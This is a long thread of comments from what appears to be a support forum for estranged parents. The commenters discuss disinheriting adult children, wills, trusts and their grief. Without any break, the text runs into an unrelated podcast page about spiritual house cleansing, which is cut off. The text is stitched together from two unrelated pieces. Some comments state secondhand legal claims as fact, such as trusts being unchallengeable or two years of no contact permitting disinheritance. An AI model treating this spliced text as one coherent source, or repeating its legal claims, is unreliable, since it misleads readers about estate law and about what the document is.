I hope that someday in another realm I can Embrace her again. :(:::::::: I have found this power play of discarding a loving parent is a result of some narcissism spectrum. Whether it be the child or the spouse of the child or both. Great power in making you suffer by cutting you off from the grandbabies. Immersing yourself in spoiling yourself and embracing those outside can bring relief from this evil and cruel action. The reason you know it’s not you is because you questioned whether or not it was you. Trust me, they never questioned themselves if it was them. Unfortunately, their brains and eyes are tainted with everything you do. Every step you take is considered some kind of manipulation. Stay strong, consider you know have permission to have your own life. Travel, join events and groups, make friends, start friendships. I wish there was a LIKE button for Mimi’s post. Hugs to all . ❤️ You will embrace your daughter in heaven. Jesus wants you to be happy. I give up my pain as I too suffer from estrangement. My daughters are very mean to me. I offer it up as penance for my sins and other family members sins. If we make it to heaven as I know I will, if they don’t make it I will forget all about them. Life is NOT fair. Their father died when my oldest was 21 and her sister was 18, he was in an accident. I gave them both beautiful weddings and helped them financially. I helped my oldest pay for her children’s clothes, shoes and cars. I never hear from them anymore. My heart is too big. My youngest cut me out of her life about 8 years ago. So all you can do is pray for them. Just know it’s not your fault the devil works hard. Emotionally immature adults are everywhere in our society, thinking the world owes them. Could I please be told why a post I left over a week ago has not shown up on the site whilst posts from others only a couple of days ago are already showing. Is there something unacceptable about my posts? Dear Beth, You have asked twice now. This is the second time I have answered. Hi Beth, I see a comment from you left at the article “New estrangement research beats a dead horse.” It appears as a comment to that article. Sheri McGregor These comments make me feel so much better as I am in the process of finalizing my will and “disinheriting” all three of my daughters and one grandson with whom I have not spoken in almost 7 years. My question to all of you – have you advised your ES/D that they will not be receiving an inheritance or is that something that will be left to be discovered when you “cross over the bridge”? I don’t want a “fake” reconciliation because they don’t want to be left out – at the same time, I feel like they should be aware that there are consequences for their actions. What say you? Dear Nanci, Tread lightly…Take more time if “you” need it… Letting go is a “process.” “Consequences” may mean something completely different to them…like more opportunity for drama…possibly opening up a Pandora’s box…You might think about what your intention is in bringing it to their attention that “they should be aware that there are consequences for their actions.” How has that worked in the past?… (Past behavior is highly indicative of future behavior.) Also, you say, “I am in the process of finalizing my will and “disinheriting”…You might consider if bringing it all to their attention is “finalizing”…(Legal advice might be helpful.) Nanci, I support you in this process…Remember, bottom-line, you are doing this to protect yourself…and for the best consequences for yourself and your life… I Appreciate your sharing your thoughts, as many of us are reflecting & dealing with this very thing… In Gratitude & Friendship, Carrie-Ann They have to be aware already… Mine do not even want their years of photos…and make comments how they hate antiques… on and on… I would never give them a clue to your intentions… They would probably turn it back on you somehow and think your motives were questionable. Maybe Someone else has some input but our adult kids are in a world of their own… It hurts and life is going by so fast and they will not know till they face their own aging… ( I just placed my parents in a nursing home) and started planning to accept that our kids will be much too busy to care about me then as well. I was considered a super mom and doting mom and here I am with estrangement with a daughter and the others are just too busy to care much. I am just rambling but stay strong.. Our estrangement began in Jan 2021 so pretty new. As of July I am reconciled to my son and DIL but my husband Is not. Son and DIL just had a baby and sent pics and messages for a few days then evaporated. I’ve visited and brought meals but it isn’t the joyful event it should be. Our 2 daughters are beginning to feel the distance (both live out of state) and I question if time will change any of this. As far as inheritance goes my husband will leave nothing to our son/DIL and we feel no reason to tell them. They should expect nothing else. I imagine I will leave equal shares to all three children if I remain on speaking terms with son. All this will be put in trust but nothing will go to DIL if he were to pass before distribution of my half of my estate My husband and I have similarly left our meager estate to only one of our four. She is the one who will take responsibility for our well being one day. We were willing and happy to give of our resources even when the others were clearly using us. Now we are called toxic, and we are cut off So, nope, we have not informed them that they are now cut off. I trust they will take good care of themselves ,and, as always, love them, but I see no reason to give considerations to them in our will. Grace Every situation is different. I would lean towards not saying anything since you have a concern that might happen. It’s actually none of their business. It’s sad it has come to this as I’m sure you would have loved to help them. Perhaps nieces and nephews might be more worthy. My lawyer told me to call my son while I was in her office and let him know. I called and told him I would like to give his inheritance to his children and he said that was fine. I didn’t come out and tell him the real reason why I was doing that which is that they cut me out of their lives. My other two children plus their children will all receive inheritance. Believe me, they will know (after you are gone) there are consequences. I’ve decided not to tell my estranged daughter that I have removed her from the Family Trust which I set up about a decade ago. I met with the Trustee and we signed the paperwork in front of a notary to remove her. She may never find out just how much was at stake. She was abusive to me and I had enough and moved 18 months ago to a different location about 1 1/2 hours away and am now so much happier. I am working through some thoughts about making my only grandchild, a 2 1/2 year old boy, a successor beneficiary at 25% and my son at 75% when my grandson is around 25 years of age. At this point, I hope he will be better able to handle the money better. My son has always been much closer to me and he will be rewarded the lion’s share. I pray that someday she will realize what she has done and repent for her wickedness. If she does and shows me over time that she means it (before I die) then I will give her a share of the extra 25% that I gave my son. So my son will be at 50%, Grandson 25% and my Daughter 25%. Until then I am going to enjoy my life, my son and thank God I am no longer being abused by her. By-The-Way, my son does not know about the Trust either, and this is how I know he loves me regardless of the money. One day, he will know there are not only consequences but, in his case (rewards) for his good behavior. If your children already know about your wealth, they should be treating you like gold. But to know about your wealth and treat you like dirt is like them doubling down on their wicked behavior. I would give a child like that nothing. They will hate you either way. Reward the good and forget about the wicked. I have been through an estrangement with an adult child. All I have to say is estrangement does not occur in a vacuum. Yall need to look in a mirror and deal with YOUR issues. I am now reconciled but part of that is accepting that we parents played a part in things messing up. Dear Bunny, Congratulations on your reconciliation! I think the vast majority of parents DO look in the mirror and admit to mistakes. In fact, they usually look back with a fine-toothed comb and often magnify any mistakes. Unfortunately, the tact does not always bring about a reconcilation. Hugs to you, and congratulations again! I hope it’s a kind and loving and fun relationship you have developed and one that brings you and your adult child much joy. Sheri McGregor Yes, the adult child may have issues with the relationship. But they are also late in maturing. Many parents here have bent over backwards to have a conversation with their EAC to no avail. To say that these parents are not doing their part is rather unfair. We have offered to talk. Bunny, You are accusing and attacking parents on this site whom you have never met and whose full stories you do not know. Nobody on this site claims to be perfect. It’s a ridiculous insult that you suggest that other parents have not introspected as to their faults or part they played. Additionally, a huge problem is significant societal changes which are outside of parental control. You are the type of person that I would never be able to share with. Prejudging. Condemnation, in advance. You actually sound very angry and are lashing out. Maybe you are angry that you apologized for something that was not your fault? When I was little, I would hit a pillow to get the anger out. Try that. Mimi, Your post is worthy and valid. HUGS to you, Sheri McGregor Very well said Mimi, I agree. Some of us on here have tried over & over for MANY years to have a good relationship with our estranged child/children only to be ignored & forgotten, while others on here have only just begun this sad & difficult journey. Bunny, after reading your post, I felt like it was “pouring salt on a wound” and an “insult to injury.” My only response was, “Wow” & “Ow.” I chose to not respond immediately, if at all, until I “reflected” in my mirror, as you suggested, and have done continually throughout my entire life… It came to me last night, in the middle of the night… Your words, “All I have to say is estrangement does not occur in a vacuum.” Well, I am here to “testify” that it indeed “does occur in a vacuum.”…the vacuum of the mind(s) of so-called “estranged adult children”…demanding entitled, scapegoating, selfish, cruel, heartless beings…Oh, and, let’s not forget the keywords here, “disrespectful” & “ungrateful”…and downright “evil without conscience.” What also came to me in the middle of the night were your words, “Yall need to look in a mirror and deal with YOUR issues.”… Dearest Bunny, I truly hope that you are experiencing a “happily-ever-after” in your situation… Looking in the mirror, dealing with an estranged adult child is like looking in the carnival-circus mirrors…warped, distorted, disorienting, scary… ”Mirrored” in the eyes of the angry, sullen, cold, demeaning, blaming, accusing, discarding, gas-lighting estranged adult child, one feels like one can’t see the true self oneself knows they are as a person, as a parent, as a human being…One questions reality before, during, after in this entire lifetime… Living in Gratitude, I woke up this morning, as I do each morning, and “looked in the mirror.”…Reflecting there, I saw a Beautiful Loving Being…doing the best she can…with a broken heart within a “Perfect, Whole, & Complete Heart”…Sending Peace & Love to All, including the Estranged Adult Children… No, I will not look through the twisted mirror of the reality thrown upon me in this lifetime by clueless estranged adult children…(i.e. charming when they want something, snarling after they get it)…TOXIC… I often wonder why the estranged adult children do not see the Love for them that is mirrored in my eyes…Maybe the same reason for what they may see, or not see, in their own mirrors… Each moment I breathe in Peace & Love, and breathe out pain & heartache… So, Bunny, hoppy-happy-trails to you…I send you only Love & Well-Wishes…Talk to me when you’re further down the trail of this life… In the meanwhile, I am Grateful for Beautiful Sheri & this On-line Community made up of such Divine, Strong, Caring, Generous, Beautiful Beings…We share so many Beautiful things…that eases the pain of these experiences… Although I do shed tears with and for others and their experiences, it’s not a “pity-party”…It’s a “thriving & surviving” deal… Although I do share my Heart with others on this site, I truly am a very private person, with a very light on-line footprint…This is a Sacred site, the only place where I can share my Heart in Trust & Friendship… In Gratitude, Peace, Love, & Joy, Carrie-Ann P.P.S. I would like to add a correction in reference to part of the post that I just submitted: “I often wonder why the estranged adult children do not see the Love for them that is mirrored in my eyes…Maybe the same reason for what they may see, or not see, in their own mirrors…” It is important to note, that estranged adult children DO KNOW AND SEE the Love parents have for them… They CHOOSE TO USE & ABUSE THIS KNOWLEDGE TO MEET THEIR WANTS AND NEEDS. They can play the “victim” and/or the “apologetic” cards, as well as the “charm” card, to manipulate and gas-light… Dear Carrie-Ann, Your thoughts about the carnival mirrors are so right. It is true that parents are affected and their own image distorted even to themselves when rejected by adult children. There is no excuse for abuse, and loving, caring parents subjected to it from abusive adult children do flail in the murky waters of identity. Don’t let that happen to you, Carrie-Ann, because of somebunny’s (haha!) careless (or perhaps even well-aimed) comment. Let it go because your beautiful reflection has shone through every comment you have ever made at the site. I tried to be “nice” in my reply to “Bunny” and give her the benefit of the doubt. Let it go now. Don’t use any more of your valuable energy and time. Just be happy and see the you that I see … a lovely and kind soul. I wrote an a couple of articles about this topic. Here’s one: HUGS to you. Sheri McGregor I looked into the mirror and thought “you’re looking fabulous, darling”. Candleinthewind, I Absolutely love your comments…They are “Simply Fabulous” darling…just like you are…Thanks for the smiles… Carrie-Ann Dear Bunny, I am not sure why you are on a sight for estranged parents if you have reconciled your relationship, I have to wonder if you are seeking help with what may be a broken reconciliation. A few of the ladies have alluded that there may be trouble without out actually calling it out. It is almost to obvious that you may be in a bargaining phase of grief, We tend to look to hard at our own faults when we are trying to fix something that we don’t really have any power to fix. As most of the responses have illustrated I can guarantee everyone who has dealt with the rejection of their own child has most definitely looked in the mirror at their own issues and probably magnified them as well. Just reading the story of how Sheri McGregor’s son ended his relationship with her family illustrated for me how easy this can happen with only one simple misunderstanding. And while it is possibly true that estranged parents played a part in things messing up, It might be as simple as We stopped being doormats. Or someone poisoned their minds to our value to their lives. I like all the other people in this group who are truly looking to heal and help other to heal wish you all the luck with your reconciled relationship and I hope that it is truly one of mutual respect, if it is not I hope you will take the time to read Sheri’s research. It may help you deal with what ever YOUR issues are. You may be surprised. As a parent of two estranged children, I spend an inordinate amount of time blaming myself and dealing with my issues. But eventually, that cycle has to stop, or at least lessen, in order to find some peace of mind. It’s been very destructive to see myself as the only one at fault these years, wondering what went wrong and looking for ways to figure it all out and fix it. I reach out to my kids – a text or an email; birthday and Christmas cards and a small gift, etc. and haven’t heard one word back. For my son it’s been 7 years and 2 years with my daughter. They also don’t speak to each other. There’s was no one thing, no “incident”, one day my son just –out of the blue — stop responding to anything I sent him, with no explanation. And a couple years ago, my daughter did the same thing. I do accept any part I had in this, and I have apologized and left all doors open for communication. What hurts so much is that we always had so much fun together – laughing, playing, long talks, shopping, etc. and now… nothing at all. Carrie-Ann, What more can I say but ‘EXACTLY!’ You know that the words you wrote, the discernment you received, came from the Holy Spirit, during the night. YOU nailed it for the times we are in, today, forewarned by Jesus Himself and the Apostles. Thank you for writing exactly what I was feeling when I read Bunny’s comment. That may be true for some. I would say in this age of entitled generation they have more to do with it than our poor or middle class raised generation. Today many have excelled and they have forgotten that they did it on the backs of the previous generation and the previous one to that. Regardless, there should be an honoring of that role and in many cases I read about, it’s the power the adult children wield that they secretly enjoy. They have to live with their actions. Something that helped me is understanding that adult children do sometimes go off on their own. They want to forge their own existence and family. My parents did it by immigrating. I did it by immigrating. Now after my own children I want the opposite. I want them near me, the grandchildren a part of my life. I didn’t give that to my parents and siblings and they didn’t give it to theirs either. So part of estrangement can be this issue. Additionally, trouble can occur when there is a spouse. Then they have children. I wonder how many got estranged after the grandchildren arrived. Would be a good poll. Hello Bunny – I understand people questioning the parents of estranged children. I am estranged from both my son and daughter. Unfortunately, not all circumstances are the same. In my case, I am the victim (as are my children) of parental alienation, as my ex-husband brainwashed them to believe things that weren’t true. I am not saying I haven’t made mistakes; but I have examined ‘minutely’ why this happened to me. My children can’t tell me what it is I supposedly did. Regardless of the reasons why, we need to be gentle and kind to each other as we are in many cases still grieving the loss of our children. My daughter started when she was a teenager. She is now 30 years old and trust me, I have looked in the mirror with a fine tooth comb. She refuses to tell me what I did. She has said to my husband, “ I should know what I said and done to her. How does a mother remember what I said and did to her when she was a hormonal teenager ? Yes Bunny I guess we all did…..we have all done a LOT of self reflection… No parent is perfect except one in Heaven. Its lovely that you are now reconciled and I do hope it continues for you. I do think though that you have to have boundaries so as not to open yourself to be hurt so badly again. That has nothing to do with not forgiving but just ‘protecting’ yourself All the best to you moving on, BRAVO. Wow! You sound very judgemental… watch out about saying things so harshly as they may just come back and bite you in the ass! Most of us do look in the mirror and have gone over all our mistakes and then some over and over and over in our minds….None of us are perfect and none of us knows the life the other parents have gone through nor the treatment they received from often very narcissistic children… the blame is not to be amplified by a complete stranger… what are you even doing on this site if that is how you come across? We do NOT need more harshness but compassion. God bless you and I hope your reconciliation sticks and is a healthy one! Good Morning!!! Loved Beautiful Sheri’s October Post…Along with the helpful resources she is providing, I discovered last night a really great you-tube website that can also provide more resources and information. I am sending this you-tube link that deals with “Financial and Social Help” information. Check out the website for a complete menu of topics that we have all been concerned with and discussing…like legal, medical, etc.. It really is a comprehensive site for information & resources… May it serve you well… May You All Be Enjoying This Beautiful Fall Sunday!!! Carrie-Ann We recently rewrote our wills. Our son get only $3000 from each of us. Everything else goes to his daughter and any other children. The trust for our grandchildren will be administered by a third party. If we outlive her everything goes to the local animal shelter. Decisions on end of life and finances were taken out of his hands and given to others we trust. We now look after ourselves. This article is very interesting because I have always said my estranged daughter will get everything when I die. But now I’m wondering for the first time if she will be accepting of it. I had not considered it toxic money and assets. I had not considered that she might allow it to just sit there intouched. I rescue cats, have been doing so since 2002. Perhaps a good Back-up Plan would be leaving my inheritance to a deserving nonprofit rescue. So that is my point. I would never leave it to a city or county shelter, as most euthanize so many pets without trying to find them homes. A private rescue would be much better in my opinion. Ruth H., look into Best Friends Animal Sanctuary in Kanab Utah. We volunteered for a week there and it was life changing. They will put your money to good use. That is where some of our money is going. We have an ES and grandchildren, one of which we have never met. It’s been almost 3 years now. He seems like a stranger now it’s been so long without any connection. I put word through a 3rd party because I think he was looking for information on our will. I said we were leaving our estate to children’s charities. We haven’t changed it yet but if it ever gets to 7 years, oh yeah we will change it. My sisters were estranged from my mother after my father passed ( they never had kids). I called my mom once a week and even though she wasn’t mom of the year, we at least found one thing we could connect about and that was discussing the Oprah Winfrey show. After my mother passed, they both had tremendous breakdowns with therapy and medication. I only had one mother and even though she wasn’t perfect, she was my mother. I can only hope they will regret their decision to go no contact one day, and realize what they did to their family. Also on a side note about my family…my youngest son who is estranged would not acknowledge his older brother (combat veteran PTSD/brain injury) who wished him a happy birthday on Facebook but acknowledged everyone else’s birthday wishes but not his own brother’s. Our son was publicly humiliated as were my husband and I and the neighbors had a discussion about what is wrong with our youngest son?? We had a great family until he married a young woman who he dated for one week, she is the gatekeeper. We have been told we are Toxic Grandparents, we have to be supervised. I would have taken the grandkids on some really cool vacations, not now… we have sought counseling, they want no contact. The last time we saw them our daughter slapped her father across the face twice. No, we will not be leaving them a dime. We will SKI until we hire someone to take care of us. The saddest time of my life Denice, Sorry you’re going through this, but you don’t know you will need to be taken care of. Not everyone does. And if your daughter acts like this you’d probably be better off hiring someone than relying on her. JMO Good for you. Their favorite word is “toxic” I dont know what millennials would do without that word. My estrangement began 19 months ago when my SIL, with whom Id always had a good relationship {I thought} announced that his sister confided in him she had been raped repeatedly throughout her child hood by their dad. Because of this, his dad, who had been helping out with their new born daughter during covid, was banished from their lives. I was sympathetic to SIL but urged that he contact his father {who was going crazy trying to contact his son to talk} and confront him, and get a bit more info on the situation. Ive known my fellow in law for 15 years and, while I cant say he was a child molester for sure Id always know him to be a nice, kind decent sort of fellow ….who to this day is still paying off his daughters college debt. . I couldnt figure out why, for 15 years his daughter always treated him with happy, normal affection…….right up until what she claims is her “flash back”. SIL blew up at ME, and accused me of siding with his “baby raper dad” and commanded my daughter to never bring our grandchild over to visit because if I was sympathetic to the dad, I condoned sex abuse. My daughter admitted he was being nuts, and brought the baby over for almost a year, in secret, until he found out by tracking her phone, and he threatened to divorce her or commit suicide.{He is diabetic, and planned to do it with chocolate cake and whiskey}. He made her life so miserable she finally told us we had to be cut off. In desparation I went to the SIL’s dad and tried to talk to him. He is miserable and frustrated and heart broken, and his whole family supports him and has cut off the SIL. They also showed me something I never saw…the go fund me page of the sister begging for 60 grand because now Dad AND MOM sexually trafficked her for 20 years and now she needs therapy. Happy to share the link if anyone wants to read it. My daughter could not take the pressure of being torn between her husband and us so she cut us out completely, and said unless we apologize to her husband we are through. We tried to talk to him but he is so enraged its impossible . Its been 4 months of radio silence. This situation is SO insane. Anyway, they are both out of the will. We are well into our 7th year of “no contact” and have had our wills worded that our ES should receive nothing. We did leave a moderate allowance to our grandchildren…who we have never met…to help with their future college tuition. But we are going to change that as there is no doubt that our BPD D-I-L (who is the direct cause of our schism) will find a way to get her hands on it. Our plan is to leave money to our other adult child NOW and spending the balance as we please. Spend your money on yourself folks as there is NO such thing as an ironclad will. Gene I found your post to be so close to what is going on with my family and Will. I married a second time and my husband ,their stepfather, since the boys were 10 and eleven. I have two more children with their stepfather. We moved to SC for financial reasons and both boys now 35 and 37 are still living in Il. To make a long story short, my sons have never visited us in the last 10 years and do not acknowledge my younger children who were 11 and 14 when we moved to SC. 10 years of no birthday , graduation, Christmas… for my two younger children and their stepfather. I am upset with my two boys from my first marriage ! Well, my husband, their stepfather, is leaving them nothing including their children. At first I said it wasn’t fair but after 10 years of erasing my husband and their stepsister and stepbrother. I agree with him. He has been the sole support for all the kids financially, as I was a stay at home mother. We wrote a living will that leaves all of our possessions we acquired, house, antique cars, money…… to his biological children. I’m the mother of all 4 kids but agree with my husband. They rejected him and their stepsister and brother the last ten years. They will never know as I don’t disclose that information. Thank you, Sheri for this very interesting article on a topic that probably bothers most of us. It’s quite a dilemma and for me, the finality of making a new will to disinherit my ES is daunting to say the least. But if we are ” toxic” then why do they want anything when we die? Why not learn to ski- LOL! After all, we sure need cheering up and ” ski-ing” sounds like a good way of doing just that. Instead of sitting moping this Christmas, why not take a few ski lessons and enjoy ourselves?! Doing our wills is on our to do list. My 2 ES with get nothing. Well, we are leaving them $1. The rest of our possessions will be sold – 1/2 to go to my cousin’s 2 daughters and the rest to animal shelters in the area. Even our family keepsakes with be given to my cousin or sold. If we weren’t good enough to be in their lives then our belongings aren’t good enough either. We have been happily spending their inheritance and loving every minute of it!! I disagree, at least in my case (and I suspect in many others as well), that my EC would consider the inheritance toxic. I doubt the money and property would be considered anything other than an entitlement that will go to feed the greed and selfishness that this AC has become. Absolutely agree the greed entitlement and selfishness should not be fed with inheritance I agree 100%. My son EXPECTS everything I have because he is and has always been entitled! After three years of not hearing from him…..with a pandemic and the death of my mother, I am definitely considering writing him out of my will. Why I haven’t done so already……I don’t know. I have watched U-Tube videos about this subject. One attorney stated if you plan to leave your money/estate to a charitable organization, then you have to have given to it on a regular basis otherwise the will can be challenged by an estranged adult child. He said if you leave it in a trust or living trust then a trust cannot be challenged in court. Another attorney said if you have had zero contact for a period of 2 years you can legally disinherit them. There’s a lot of information out there and ai think the laws vary by state. Oldest son and family estranged from our entire family. Our attorney advised not to disinherit, not to omit, due to possible challenges! He advised to leave equally. We have also been struggling with what to do. As our youngest son and his family have cut us off we are amending our trust. Everything was great until he got some bad counseling. Oh well it is what it is and as one person mentioned: It is what it is. Hi Sheri…. Have gone back and forth with this. As an aside…Seems many of us are animal lovers!! Some of our money will go to The David Sheldrick Wildlife Trust and The Humane Society. At this point a hefty sum will be left to our only-kind-of-estranged daughter. Have stated explicitly that none is to go to ED. Glad to know that it might be considered a toxic inheritance. Sorry not sorry. The bulk of our estate is ear marked for a charity/organization dear to our hearts.. I find the more troubling matter to be who to appoint as executor of both health and finance…I am fine with leaving the Semi ED money but I have no illusions she will put much energy into our well being. My husband and I took care of everything re our parents aging, last illnesses, eventual deaths and funerals. Leaving money is one thing ~ how the remaining spouse will be cared for in old age is far more worrisome to me. I advocated every step of the way for my mother and father. And a lot of advocating was necessary. Moved mountains, made sure their care was appropriate and safe and as acceptable to them as was humanly possible. I was hospitalized for 6 weeks at one point. My husband did everything in his power to make the experience as tolerable as could be. But eventually he had to go home to sleep, run his business every now and then etc I was left at the mercy of night nurses and it was a nightmare. Husband hired a few private overnight LPNs to fend for me…A bit better but that too proved a problem. ***This is not a panning of RNs/LPNs in general** They are mostly heroic, admirable people.. This was just my unfortunate experience and it scared the h*ll out of me and left an indelible mark… So if our wishes are carried out upon our deaths really does not matter that much to us. We have have made our preferences known and that is that. Way, way more treacherous for parents of estranged children/families is the care they receive as they age, become infirm and need loving intervention and advocacy… Aimee Hi Aimee, That’s part of estate planning…the assigning of who will be in charge of your health decisions should you be incapacitated. It’s something all of us really need to consider–and yes, very important. I have recently learned about what is known as a private patient advocate. For those who do not have someone they can trust in this role (family member, friend), and who can afford to do so, hiring one might be a worthwhile choice. Hugs to you Aimee. I’m glad you are better now. Sheri McGregor I left one estranged child completely out. Zero. I left the other estranged child my house (but i only own half of our house) and my jewelry, coins. The jewels/coins wont sell for much and i dont want the hassle. I left everything else to an animal rescue organization. I plan on spending alot of it though, as 0ne estranged child is a very recent development and i was saving all my $ for him. But in light of recent events he will only get a little bit now. Leaving a house is different than leaving personal possessions they could care less about. Aimee, Thank you for expressing your fears about aging and who will be there for you. I’ve been helping my mother a lot lately and it brings in to focus that I will not have a child to help me through that part of my life. It’s sad that I hope I go first as my husband has a daughter who will take care of -him as he ages. I have also been struggling with what to do regarding my will. I have decided my estate will go to my stepdaughter and grandchildren. Thanks again for your comments I have been scared to actually voice these concerns. I’m sure some that inherit money from someone they consider “toxic” will have some kind of negative reaction to the money, but they WILL spend it. I think the opposite scenerio is far more common: No matter how bad the relationship was and no matter how estranged and ungrateful the adult child was, they are beyond furious if they get left out of the will, especially if there are other siblings who did not get left out. I have been facing this recently. I never thought in a million years I’d be one of those parents who cuts one child out of my will. We went to see an attorney and I told her that we were estranged; she worded the will that I “disinherit” my son. I could not get past that and had to revise it. I am leaving my son a (relatively) small gift but not an insult amount like a dollar or $100.00. Meanwhile, I told my daughters a little about the plan so there should be no big surprises. I also told them that if we SKI enough it is possible there will be little or no money left and it is possible the way the will is written that ES would get more than them! I don’t think that will happen, but I’m just saying it is remotely possible since I set an amount for him, but the others get a share of the final estate (which he will not get a share of, if there is any). Good morning ! Thank you, Sheri. If our estrangement does not recover, we will be leaving what we have left to our local no-kill animal shelter. There won’t be much but, at this time, whatever is left will be better utilized by this non-profit rather than by our “all for profit” millionaire sons. That’s just my bottom line. Wish it weren’t so but my ES’s have placed material objects above everything. I too sought out the love of animals since my kids dont love me. Its funny that so many of us chose to help animals since our kids didnt want us…. I listened to Anderson Cooper talk about his mom Gloria Vanderbilt. She gave her money away to charity feeling it was better for her son to earn his way in life. He feels he will probably do the same but will pay for college and get his son started. She even joked about it towards her end of life that many would think he would get millions. The expectations were clear. Warren Buffett gave his children a 1 million and they will get no more. My children have inherited from their grandparents a decent amount of money. I never expected any money from my parents and that made me work hard and to be self sufficient. I have let them know that they should use their inheritance wisely as there will be no more. I currently have one of two children as a beneficiary. But she too is succumbing to the alienation and her sisters persuasion. I wrestle too with this decision and have put off my will. Like my divorce, I am probably in denial that things will change. Cleaning out my parents house was overwhelming as they threw nothing away. It has made me more of a minimalist and to value memories over stuff. I have created scholarships, donated to our Library, and cleaned a lot of “stuff” and donated it to charitable organizations. I now think of the places that leaving my money can create positive change in the world. Travel is one of my passions and next week I leave for ten days in Egypt. My bucket list moment. I have been “skiing” because I get to be happy too. Yes, I would have loved to have them join in the adventure but they made a choice and chose not to make me a part of their lives. I no longer owe them anything as they are adults. It is like expecting benefits, and a 401k, but not working for it. I no longer feel guilty about this decision. I have an appt in early November to update my will, removing my only child and giving it all to our local humane society. I can’t in good conscience leave her anything after she called the police on me after flying 2k miles to see her, telling them I “used to be her mother”. She’s also smoking dope, I didnt work all these years so she can smoke it away. Changing all my beneficiaries for policies as well. I don’t have tons of money either but it was hard earned. Its hard and I was not always the best mother but i acknowledged that, apologized for it and i thought we had moved past all of that. Last year, I was giving the best advice and she loved me so much. This year, she hates me. Not sure if its a mental break as shes been very isolated with the pandemic or what. It makes me sad and I’ve dissected this situation a gazillion times but as my wise mother said, life goes on. I would like to leave everything to my one son, who has stood by my side during my divorce to an abusive husband. The other three have shamed me, victim blamed me, and have cut me off for the past 12 years, because their father has insisted they do so to punish me “for breaking up our family”. My worry is that my son will feel guilty about getting it all while his siblings get none, or his siblings will turn on him (they already barely speak to him because he will not participate in the Mom bashing) and make him feel horrible about getting it all. I know that if I were to ask him, he would say that they don’t deserve anything after the way they have treated me, but it is often easy to feel a certain way, until you are actually faced with the situation, and I would hate to have the attacks that have been directed to me, then directed towards him. But the thought of leaving anything to the other three in order to “keep the peace” is beyond what I am capable of after being drug through the emotional hell that they have put me through, and am finally starting to recover from. Any thoughts? Hi Ann, My husband and I recently updated our will. We have had the same problem/concerns that you have expressed. Nonetheless, we have decided that we will give everything only to the children that love us. Yes, those children that are inheriting will face hate from their siblings that are not inheriting anything. So be it. In my opinion, you should give everything to your son. He is your true son. Biblically speaking, this is an object lesson to us as to how Father God will give inheritance to his true children. Peace to you. Mimi Ann, Wonderfully put…Amen! I’ve thought a lot about this issue especially considering my age (70). I just had my trust rewritten to alleviate my estranged daughter of any responsibility as a successor trustee. Only my husband and son are listed. However, I will not disinherit her—I would not feel right about that regardless of how she feels about me. We are SKI-ing by traveling and living our lives as we choose and not worrying about the potential impact on inheritance. If there’s anything left, both of my kids can have it. Same for jewelry and household goods. What we have acquired over the years brings us pleasure now, but after we’re gone it will be up to my son to determine what to keep, what to sell, what to toss, and whether to involve his sister in the decision making. This makes good sense. At the request of our stable, lovely, loving daughter we will treat everyone equally BUT we are not concerned if there is nothing left after we die. We prefer to give out “living” gifts – and have NOT been “equal” because two of them are estranged and with one of them, we have no clue even where she is living right now. We are keeping a record of these “gifts” only for our own use, and are doing what we think is “fair” with our assets. Things may change over time; they may not. We will see. Thank you, all. Jan, I feel the same way but at the same time…feel very conflicted on this subject Looking forward to your next book, Sheri! I think you make valid points about things we need to consider. Being our shunning is not 100%…and we still hear a couple times a year, we will probably leave some to them…but most of it is being, bit by bit, given to the other 2 that we do have frequent contact with…in this way: if we go out to eat we pay…sometimes our daughter here insists on paying for some or the tip, but mostly I try to convince her not to because THEY are the ones seeing us, they are the ones we are with and have the joy of their company. And the other daughter needs our help from time to time (she does not ask…but we inquire as we know she has a hard time even though working hard at a low paying job). Of course, being a continent away from the others is part of it…but not all, by any means. Also the ones shunning us have money, have a GOB they will no doubt inherit from both parents and the aunt and uncle nearby who had no kids…all fairly rich people…so won’t need our measly amount anyway. We already divided up a lot of things in previous years due to what happened when my brothers WIVES took the best of the best of the handmade things of MY grandmothers. I did not fight over it. But I determined such WOULD NOT occur with my kids. I hope to find something to leave each grandchild…some jewelry is already promised to the older 2. We have precious little of value to hand down. But we have taken 2 very expensive trips overseas…we took our youngest and her friend with us on one of them, at our expense. So in a way, yes, our inheritance is at this time, mostly going to the 2 who show their love for us. IF we were ever written off in a nasty way as some parents have been, you better believe I would leave everything to charity or friends etc. Even very distant kin perhaps. No reason to reward bad behavior. Elizabeth, You mention your “measly amount.” You sound like such loving people. If your measly bit is all this love, thoughtfulness, and care, the ones who don’t associate with you are (purposely) missing out on the best inheritance of all (a kind family! Love! Roots! etc). I applaud you for the way you’ve thought things through. Hugs to you, and hugs to your sweet adult children too. Sheri McGregor

In this episode we are having fika with Cherie Young, a masterful healer and teacher, and talking house cleansing and the importance of cleaning both on a physical and an energetic level. She shares lots of different examples from the little girl with night terror, to the remodeling jobs that were completely trashed and the transformations cleansing has made. Topics - About Cherie and that biz card [00:01:51] - What is healing and how to pick your healer [00:05:07] - What is spiritual house cleansing? [00:08:48] - The remodel jobs were being completely trashed [00:14:56] - The space holds the frequencies of the trauma [00:17:02] - Every night they hear the horse carriage [00:23:41] - Taking responsibility for our emotions heals the world [00:26:09] - House cleansing beyond physical structures [00:27:29] - Cleansing long distance [00:29:21] - The ‘hitchhiker’ from the bar [00:35:27] - Visits from our loved ones [00:41:14] - But what about our loved ones who have passed? [00:41:14] Links and Show Notes: - Submit questions here or use #FIKApodcast on social media. - More on Cherie Young’s upcoming workshop in Mallorca, Spain - Find Cherie Young at wix.com/intradimensionlahealing, Facebook.com/divinetransformationministry and via [email protected] - Find your host, Erica Eriksdotter, at, (click on the player and it will start playing. If the audio player doesn’t appear, click here to play the episode) Don’t miss an episode! Subscribe to Studio Eriksdotter Presents FIKA on iTunes. Also available on Stitcher. And please leave a review once you’ve been listening! Get your questions answered: Fill out this quick form to submit questions to the show. Michelle will be back so hit us up with questions regarding motherhood, adoption, small business life and of course how she does her beautiful art. FIKA PODCAST EPISODE 013: Spiritual House Cleansing with Cherie Young Erica Eriksdotter: Hi lovelies! It’s time for FIKA! The Swedish word that means bonding and connecting with friends over coffee or tea. This is the place to be for real talks and discussions about everything from healing, fine arts, motherhood and entrepreneurship to health and fitness. The focus is connecting the dots through consciousness and elevating how consciousness is directed through each guest’s career and life path. My name is Erica Eriksdotter, born and raised in Sweden and now live outside of Washington, DC. I’m fine arts painter and owner of Studio Eriksdotter,certified Intra-Dimensional Healer and PR and Social Media Strategist. I’m a modern woman, connected to Self who brings meaning to life through an earth centered truth. Erica Eriksdotter: Today, we’re having fika with Cherie Young and we’ll be talking about spiritual house cleansing. For those of you who are just joining the podcast, though, let me just mention and remind you 